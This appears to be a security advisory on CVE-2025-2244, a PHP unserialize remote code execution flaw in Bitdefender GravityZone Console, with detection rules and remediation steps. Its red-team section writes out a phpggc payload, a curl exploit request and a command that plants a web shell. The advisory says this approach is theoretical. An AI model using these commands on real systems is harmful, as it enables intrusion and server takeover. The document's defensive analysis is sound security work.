CVE-2025-2244

Executive Summary

CVE-2025-2244 is a critical unauthenticated remote code execution vulnerability in the Bitdefender GravityZone Console. The flaw resides in the sendMailFromRemoteSource method within Emails.php, where user-supplied input is passed directly to PHP's unserialize() function without any sanitization or validation. This allows an attacker to craft a malicious serialized payload, leading to PHP object injection, arbitrary file write, and ultimately full command execution on the host system. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the impact, it is assessed as Critical with a CVSS v3.1 base score of 9.8. No public proof-of-concept or exploit code is currently available, but the technical details are sufficient for advanced threat actors to develop weaponized exploits.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise security product, Bitdefender GravityZone Console. The risk is primarily to on-premises deployments of the console, which may be exposed to internal or external networks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerable method.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise leads to complete data disclosure.
• Integrity (I): High (H) – Attacker can modify system files and data.
• Availability (A): High (H) – Attacker can disrupt services or destroy data.

CVSS v3.1 Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of no authentication, low complexity, and full system compromise makes this a top-priority vulnerability for any organization using Bitdefender GravityZone Console.

Deep Dive & Mechanics

The vulnerability is a classic PHP Object Injection (CWE-502) arising from the use of unserialize() on untrusted input. The sendMailFromRemoteSource method in Emails.php is designed to accept email-related data from a remote source. However, it fails to validate or sanitize the input before passing it to unserialize().

Attack Flow:

1. Reconnaissance: The attacker identifies a Bitdefender GravityZone Console instance exposed on the network. The console typically listens on ports 443 (HTTPS) or 80 (HTTP).
2. Crafting Payload: The attacker creates a malicious serialized PHP object that, when unserialized, triggers a gadget chain. Common gadget chains in PHP applications exploit magic methods like __destruct(), __wakeup(), or __toString() to execute arbitrary code.
3. Delivery: The attacker sends a crafted HTTP request to the vulnerable endpoint, including the serialized payload in the request body or parameters. The exact endpoint is likely /api/... or a similar path that invokes sendMailFromRemoteSource.
4. Exploitation: The server calls unserialize() on the attacker's payload, instantiating the malicious object. The gadget chain executes, typically writing a PHP web shell to the webroot or executing a system command via system(), exec(), or shell_exec().
5. Post-Exploitation: The attacker gains a foothold on the server, allowing lateral movement, data exfiltration, or further compromise of the Bitdefender infrastructure.

Key Technical Details:

• Vulnerable Function: sendMailFromRemoteSource in Emails.php.
• Root Cause: Unsafe use of unserialize() on user-supplied input.
• Impact: Remote Code Execution (RCE) as the web server user (typically www-data or bitdefender).
• Privilege Escalation: The web server user may have elevated privileges or access to sensitive credentials, allowing escalation to root or SYSTEM.

Vulnerable vs. Patched Code

Since no official patch or source code is publicly available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Emails.php):

<?php
class EmailHandler {
    public function sendMailFromRemoteSource($input) {
        // Vulnerable: directly unserializing user input
        $data = unserialize($input);
        // ... process $data and send email
    }
}
?>

Patched Code (Hypothetical):

<?php
class EmailHandler {
    public function sendMailFromRemoteSource($input) {
        // Patched: validate input as JSON or use a safe deserialization method
        $data = json_decode($input, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            // Log error and reject request
            return false;
        }
        // ... process $data and send email
    }
}
?>

The patched version replaces unserialize() with json_decode(), which is safe from object injection. Alternatively, the vendor could implement input validation, allowlisting, or use a secure deserialization library.

Exploitation & Lab Setup

Red Team

Objective: Achieve remote code execution on the Bitdefender GravityZone Console server.

Prerequisites:

• A vulnerable Bitdefender GravityZone Console instance (version unknown).
• Network access to the console (e.g., internal network or exposed endpoint).
• Knowledge of PHP gadget chains (e.g., using Monolog, SwiftMailer, or Guzzle if present).

Exploitation Steps:

1. Identify the Endpoint: Use a web fuzzer or proxy to discover the exact URL that calls sendMailFromRemoteSource. Common patterns include /api/email/send, /api/v1/email, or /index.php?action=sendMail.

2. Craft a PHP Object Injection Payload: Use a tool like phpggc to generate a gadget chain. For example, if the application uses Monolog:

   phpggc Monolog/RCE1 system 'id' | base64
   

   This generates a base64-encoded serialized payload that executes id when unserialized.

3. Send the Exploit Request:

   curl -X POST https://target-console/api/email/send \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data-urlencode "data=$(phpggc Monolog/RCE1 system 'id' | base64 -w0)"
   

4. Verify Execution: Check the response or server logs for the output of the id command. Alternatively, write a web shell:

   phpggc Monolog/RCE1 system 'echo "<?php system(\$_GET[\"cmd\"]); ?>" > /var/www/html/shell.php'
   

5. Post-Exploitation: Access the web shell at https://target-console/shell.php?cmd=whoami and escalate privileges.

Note: Since no public exploit exists, this is a theoretical approach. Actual exploitation may require custom gadget chain development.

Blue Team

Objective: Detect and prevent exploitation attempts.

Detection Steps:

1. Monitor for Unserialize Attempts: Deploy WAF rules to block requests containing serialized PHP objects (e.g., O:, a:, s: patterns).
2. Log Analysis: Search web server logs for unusual POST requests to email-related endpoints with large payloads.
3. File Integrity Monitoring: Monitor the webroot for unexpected file creations (e.g., shell.php, cmd.php).
4. Network Segmentation: Ensure the GravityZone Console is not directly exposed to the internet. Use a reverse proxy or VPN.
5. Harden PHP Configuration: Disable dangerous functions like system(), exec(), shell_exec(), and passthru() in php.ini if not required.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| search uri="/api/email/*" method=POST
| eval payload_size=len(body)
| where payload_size > 1000
| table _time, src_ip, uri, payload_size

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/email/send or similar endpoints with large payloads.
  • Outbound connections from the console to unknown IPs (C2 traffic).
  • Unusual HTTP responses (e.g., 200 OK with command output).

• File IOCs:

  • Unexpected PHP files in the webroot (e.g., shell.php, cmd.php, backdoor.php).
  • Modified system files (e.g., /etc/passwd, /etc/shadow).
  • New cron jobs or systemd services.

• Process IOCs:

  • Web server processes spawning child processes (e.g., apache2 -> sh -> id).
  • Unusual commands executed by the www-data user.

• Log IOCs:

  • PHP error logs containing unserialize() errors or warnings.
  • Apache access logs with POST to email endpoints and 200 status codes.

Detection Engineering

YARA Rule

rule CVE_2025_2244_Unserialize_Payload {
    meta:
        description = "Detects serialized PHP objects in HTTP requests targeting Bitdefender GravityZone Console"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2244"
        severity = "critical"

    strings:
        $serialized_pattern = /(O:[0-9]+:"|a:[0-9]+:{|s:[0-9]+:")/
        $email_endpoint = /\/api\/email\// nocase

    condition:
        $email_endpoint and #serialized_pattern > 2
}

Sigma Rule

title: CVE-2025-2244 - Bitdefender GravityZone Console Unserialize RCE
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-2244 via HTTP POST requests with serialized PHP objects
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2244
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/api/email/'
        cs-uri-query|contains: 
            - 'O:'
            - 'a:'
            - 's:'
    condition: selection
falsepositives:
    - Legitimate email configuration updates (rare)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-2244 - Bitdefender GravityZone Console Unserialize RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/email/"; http_uri;
    pcre:"/(O:[0-9]+:\"|a:[0-9]+:\{|s:[0-9]+:\")/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-2244;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Console: If the console is exposed to the internet, immediately place it behind a firewall or VPN. Restrict access to trusted IPs only.
2. Apply Workaround: If a patch is not available, disable the vulnerable endpoint by modifying the web server configuration (e.g., block POST requests to /api/email/).
3. Monitor for IOCs: Actively search for indicators of compromise using the provided YARA, Sigma, and Suricata rules.

Long-Term Fix:

1. Vendor Patch: Await an official patch from Bitdefender. Apply it as soon as it is released.
2. Code Review: If you have access to the source code, replace unserialize() with a safe alternative like json_decode() or implement input validation.
3. Update PHP: Ensure the server runs a supported PHP version with the latest security patches.
4. Web Application Firewall (WAF): Deploy a WAF with rules to block serialized PHP objects in HTTP requests.

Valters IT – Securing your digital frontier.